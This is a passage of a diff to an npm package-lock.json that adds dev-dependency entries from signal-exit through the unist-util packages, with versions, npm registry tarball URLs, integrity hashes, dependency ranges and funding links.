true, + "dependencies": { + "jsonc-parser": "^3.0.0", + "vscode-oniguruma": "^1.6.1", + "vscode-textmate": "^6.0.0" + } + }, + "node_modules/shiki/node_modules/jsonc-parser": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.0.tgz", + "integrity": "sha512-gfFQZrcTc8CnKXp6Y4/CBT3fTc0OVuDofpre4aEeEpSBPV5X5v4+Vmx+8snU7RLPrNHPKSgLxGo9YuQzz20o+w==", + "dev": true + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/simple-swizzle": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz", + "integrity": "sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.3.1" + } + }, + "node_modules/sirv": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/sirv/-/sirv-2.0.3.tgz", + "integrity": "sha512-O9jm9BsID1P+0HOi81VpXPoDxYP374pkOLzACAoyUQ/3OUVndNpsz6wMnY2z+yOxzbllCKZrM+9QrWsv4THnyA==", + "dev": true, + "dependencies": { + "@polka/url": "^1.0.0-next.20", + "mrmime": "^1.0.0", + "totalist": "^3.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "dev": true + }, + "node_modules/sitemap": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/sitemap/-/sitemap-7.1.1.tgz", + "integrity": "sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==", + "dev": true, + "dependencies": { + "@types/node": "^17.0.5", + "@types/sax": "^1.2.1", + "arg": "^5.0.0", + "sax": "^1.2.4" + }, + "bin": { + "sitemap": "dist/cli.js" + }, + "engines": { + "node": ">=12.0.0", + "npm": ">=5.6.0" + } + }, + "node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead", + "dev": true + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/stdin-discarder": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.1.0.tgz", + "integrity": "sha512-xhV7w8S+bUwlPTb4bAOUQhv8/cSS5offJuX8GQGq32ONF0ZtDWKfkdomM3HMRA+LhX6um/FZ0COqlwsjD53LeQ==", + "dev": true, + "dependencies": { + "bl": "^5.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.3.tgz", + "integrity": "sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==", + "dev": true, + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom-string": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", + "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz", + "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strnum": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz", + "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==", + "dev": true + }, + "node_modules/style-to-object": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.4.1.tgz", + "integrity": "sha512-HFpbb5gr2ypci7Qw+IOhnP2zOU7e77b+rzM+wTzXzfi1PrtBCX0E7Pk4wL4iTLnhzZ+JgEGAhX81ebTg/aYjQw==", + "dev": true, + "dependencies": { + "inline-style-parser": "0.1.1" + } + }, + "node_modules/suf-log": { + "version": "2.5.3", + "resolved": "https://registry.npmjs.org/suf-log/-/suf-log-2.5.3.tgz", + "integrity": "sha512-KvC8OPjzdNOe+xQ4XWJV2whQA0aM1kGVczMQ8+dStAO6KfEB140JEVQ9dE76ONZ0/Ylf67ni4tILPJB41U0eow==", + "dev": true, + "dependencies": { + "s.color": "0.0.15" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-esm": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-esm/-/supports-esm-1.0.0.tgz", + "integrity": "sha512-96Am8CDqUaC0I2+C/swJ0yEvM8ZnGn4unoers/LSdE4umhX7mELzqyLzx3HnZAluq5PXIsGMKqa7NkqaeHMPcg==", + "dev": true, + "dependencies": { + "has-package-exports": "^1.1.0" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svgo": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-3.0.2.tgz", + "integrity": "sha512-Z706C1U2pb1+JGP48fbazf3KxHrWOsLme6Rv7imFBn5EnuanDW1GPaA/P1/dvObE670JDePC3mnj0k0B7P0jjQ==", + "dev": true, + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^5.1.0", + "css-tree": "^2.2.1", + "csso": "^5.0.5", + "picocolors": "^1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/svgo" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/synckit": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.8.5.tgz", + "integrity": "sha512-L1dapNV6vu2s/4Sputv8xGsCdAVlb5nRDMFU/E27D44l5U6cw1g0dGd45uLc+OXjNMmF4ntiMdCimzcjFKQI8Q==", + "dev": true, + "dependencies": { + "@pkgr/utils": "^2.3.1", + "tslib": "^2.5.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/unts" + } + }, + "node_modules/tar-fs": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz", + "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", + "dev": true, + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar-stream/node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/tar-stream/node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/terser": { + "version": "5.18.2", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.18.2.tgz", + "integrity": "sha512-Ah19JS86ypbJzTzvUCX7KOsEIhDaRONungA4aYBjEP3JZRf4ocuDzTg4QWZnPn9DEMiMYGJPiSOy7aykoCc70w==", + "dev": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/titleize": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/titleize/-/titleize-3.0.0.tgz", + "integrity": "sha512-KxVu8EYHDPBdUYdKZdKtU2aj2XfEx9AfjXxE/Aj0vT06w2icA09Vus1rh6eSu1y01akYg6BjIK/hxyLJINoMLQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/totalist": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz", + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.1.0.tgz", + "integrity": "sha512-AqTiAOLcj85xS7vQ8QkAV41hPDIJ71XJB4RCUrzo/1GM2CQwhkJGaf9Hgr7BOugMRpgGUrqRg/DrBDl4H40+8g==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/tsconfig-resolver": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/tsconfig-resolver/-/tsconfig-resolver-3.0.1.tgz", + "integrity": "sha512-ZHqlstlQF449v8glscGRXzL6l2dZvASPCdXJRWG4gHEZlUVx2Jtmr+a2zeVG4LCsKhDXKRj5R3h0C/98UcVAQg==", + "dev": true, + "dependencies": { + "@types/json5": "^0.0.30", + "@types/resolve": "^1.17.0", + "json5": "^2.1.3", + "resolve": "^1.17.0", + "strip-bom": "^4.0.0", + "type-fest": "^0.13.1" + }, + "funding": { + "url": "https://github.com/sponsors/ifiokjr" + } + }, + "node_modules/tsconfig-resolver/node_modules/type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tslib": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.0.tgz", + "integrity": "sha512-7At1WUettjcSRHXCyYtTselblcHl9PJFFVKiCAy/bY97+BPZXSQ2wbq0P9s8tK2G7dFQfNnlJnPAiArVBVBsfA==", + "dev": true + }, + "node_modules/tsm": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tsm/-/tsm-2.3.0.tgz", + "integrity": "sha512-++0HFnmmR+gMpDtKTnW3XJ4yv9kVGi20n+NfyQWB9qwJvTaIWY9kBmzek2YUQK5APTQ/1DTrXmm4QtFPmW9Rzw==", + "dev": true, + "dependencies": { + "esbuild": "^0.15.16" + }, + "bin": { + "tsm": "bin.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/type-fest": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz", + "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "4.9.5", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unherit": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/unherit/-/unherit-3.0.1.tgz", + "integrity": "sha512-akOOQ/Yln8a2sgcLj4U0Jmx0R5jpIg2IUyRrWOzmEbjBtGzBdHtSeFKgoEcoH4KYIG/Pb8GQ/BwtYm0GCq1Sqg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/unified": { + "version": "10.1.2", + "resolved": "https://registry.npmjs.org/unified/-/unified-10.1.2.tgz", + "integrity": "sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "bail": "^2.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-generated": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unist-util-generated/-/unist-util-generated-2.0.1.tgz", + "integrity": "sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-5.2.1.tgz", + "integrity": "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-map": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/unist-util-map/-/unist-util-map-3.1.3.tgz", + "integrity": "sha512-4/mDauoxqZ6geK97lJ6n2kDk6JK88Vh+hWMSJqyaaP/7eqN1dDhjcjnNxKNm3YU6Sw7PVJtcFMUbnmHvYzb6Vg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-modify-children": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/unist-util-modify-children/-/unist-util-modify-children-3.1.1.tgz", + "integrity": "sha512-yXi4Lm+TG5VG+qvokP6tpnk+r1EPwyYL04JWDxLvgvPV40jANh7nm3udk65OOWquvbMDe+PL9+LmkxDpTv/7BA==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "array-iterate": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-4.0.4.tgz", + "integrity": "sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position-from-estree": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-1.1.2.tgz", + "integrity": "sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove-position": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-4.0.2.tgz", + "integrity": "sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-3.0.3.tgz", + "integrity": "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-children": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-children/-/unist-util-visit-children-2.0.2.tgz", + "integrity": "sha512-+LWpMFqyUwLGpsQxpumsQ9o9DG2VGLFrpz+rpVXYIEdPy57GSy5HioC0g3bg/8WP9oCLlapQtklOzQ8uLS496Q==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0" + 